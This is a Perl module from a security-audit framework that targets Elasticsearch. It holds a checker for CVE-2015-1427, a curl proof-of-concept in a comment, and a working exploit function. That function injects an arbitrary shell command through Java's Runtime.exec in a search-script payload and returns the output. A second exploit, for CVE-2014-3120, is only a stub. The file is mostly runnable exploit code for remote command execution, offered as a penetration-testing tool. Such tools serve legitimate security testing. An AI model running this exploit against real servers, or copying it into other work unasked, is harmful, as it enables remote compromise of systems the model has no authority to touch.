#
# $Id: Elasticsearch.pm,v 508610fe2b1a 2015/10/27 19:01:31 gomor $
#
# audit::elasticsearch Brik
#
package Metabrik::Audit::Elasticsearch;
use strict;
use warnings;

use base qw(Metabrik::Client::Www);

sub brik_properties {
   return {
      revision => '$Revision: 508610fe2b1a $',
      tags => [ qw(unstable audit elasticsearch) ],
      attributes => {
         uri => [ qw(uri) ],
      },
      commands => {
         check_cve_2015_1427_rce => [ qw(uri|OPTIONAL) ],
         exploit_cve_2015_1427_rce => [ qw(command uri|OPTIONAL) ],
         exploit_cve_2014_3120_rce => [ qw(command uri|OPTIONAL) ],
      },
      require_modules => {
         'Metabrik::String::Json' => [ ],
         'Metabrik::String::Parse' => [ ],
      },
   };
}

#
# http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2015-1427
# https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
# PoC: curl 'http://nile:9200/_search?pretty' -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\")"}}}'
#
sub check_cve_2015_1427_rce {
   my $self = shift;
   my ($uri) = @_;

   $uri ||= $self->uri;
   if (! defined($uri)) {
      return $self->log->error($self->brik_help_run('check_cve_2015_1427_rce'));
   }

   $uri =~ s{^(http://[^:]+:\d+).*}{$1};
   if ($uri !~ m{^http://[^:]+:\d+$}) {
      return $self->log->error("check_cve_2015_1427_rce: invalid uri [$uri], ".
         "try something like http://localhost:9200");
   }

   my $check = '{"script_fields": {"myscript": {"script": '.
               '"java.lang.Math.class.forName(\"java.lang.Runtime\")"'.
               '}}}';

   my $url = $uri.'/_search/?pretty';

   $self->debug && $self->log->debug("check_cve_2015_1427_rce: POSTing to ".
      "url [$url] with data [$check]");

   my $reply = $self->post($check, $url)
      or return $self->log->error("check_cve_2015_1427_rce: post error");

   my $content = $reply->{content}
      or return $self->log->error("check_cve_2015_1427_rce: no content found");

   my $sj = Metabrik::String::Json->new_from_brik_init($self) or return;

   my $ref = $sj->decode($content)
      or return $self->log->error("check_cve_2015_1427_rce: decode error");

   if ($ref->{hits} && $ref->{hits}{hits} && $ref->{hits}{hits}[0]
   &&  $ref->{hits}{hits}[0]{fields}
   &&  $ref->{hits}{hits}[0]{fields}{myscript}) {
      my $result = $ref->{hits}{hits}[0]{fields}{myscript}[0] || 'undef';
      if ($result ne 'undef') {
         $self->log->verbose("check_cve_2015_1427_rce: vulnerable [$result]");
         return 1;
      }
   }
   else {
      $self->log->verbose("check_cve_2015_1427_rce: NOT vulnerable");
      return 0;
   }

   return $self->log->error("check_cve_2015_1427_rce: unknown error");
}

# Thanks to: https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch
# But they stole our logo font with bleeding letters ;)
sub exploit_cve_2015_1427_rce {
   my $self = shift;
   my ($command, $uri) = @_;

   if (! defined($command)) {
      return $self->log->error($self->brik_help_run('exploit_cve_2015_1427_rce'));
   }

   $uri ||= $self->uri;
   if (! defined($uri)) {
      return $self->log->error($self->brik_help_run('exploit_cve_2015_1427_rce'));
   }

   $uri =~ s{^(http://[^:]+:\d+).*}{$1};
   if ($uri !~ m{^http://[^:]+:\d+$}) {
      return $self->log->error("exploit_cve_2015_1427_rce: invalid uri [$uri], ".
         "try something like http://localhost:9200");
   }

   my $check = '{ "size":1, "script_fields": { "lupin": { "script": '.
               '"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"'.
               $command.
               '\").getText()"'.
               '}}}';

   my $url = $uri.'/_search/?pretty';

   $self->debug && $self->log->debug("exploit_cve_2015_1427_rce: POSTing to ".
      "url [$url] with data [$check]");

   my $reply = $self->post($check, $url)
      or return $self->log->error("exploit_cve_2015_1427_rce: post error");

   my $content = $reply->{content}
      or return $self->log->error("exploit_cve_2015_1427_rce: no content found");

   my $sj = Metabrik::String::Json->new_from_brik_init($self) or return;

   my $ref = $sj->decode($content)
      or return $self->log->error("exploit_cve_2015_1427_rce: decode error");

   if ($ref->{hits} && $ref->{hits}{hits} && $ref->{hits}{hits}[0]
   &&  $ref->{hits}{hits}[0]{fields}
   &&  $ref->{hits}{hits}[0]{fields}{lupin}) {
      $self->log->verbose("exploit_cve_2015_1427_rce: vulnerable");
      my $result = $ref->{hits}{hits}[0]{fields}{lupin}[0] || 'undef';

      my $sp = Metabrik::String::Parse->new_from_brik_init($self) or return;
      return $sp->to_array($result);
   }
   else {
      $self->log->verbose("exploit_cve_2015_1427_rce: NOT vulnerable");
      return 0;
   }

   return $self->log->error("exploit_cve_2015_1427_rce: unknown error");
}

#
# http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-3120
# http://bouk.co/blog/elasticsearch-rce/
#
sub exploit_cve_2014_3120_rce {
   my $self = shift;

   return $self->log->error("exploit_cve_2014_3120_rce: TODO");
}

1;

__END__

=head1 NAME

Metabrik::Audit::Elasticsearch - audit::elasticsearch Brik

=head1 COPYRIGHT AND LICENSE

Copyright (c) 2014-2015, Patrice E<lt>GomoRE<gt> Auffret

You may distribute this module under the terms of The BSD 3-Clause License.
See LICENSE file in the source distribution archive.

=head1 AUTHOR

Patrice E<lt>GomoRE<gt> Auffret

=cut
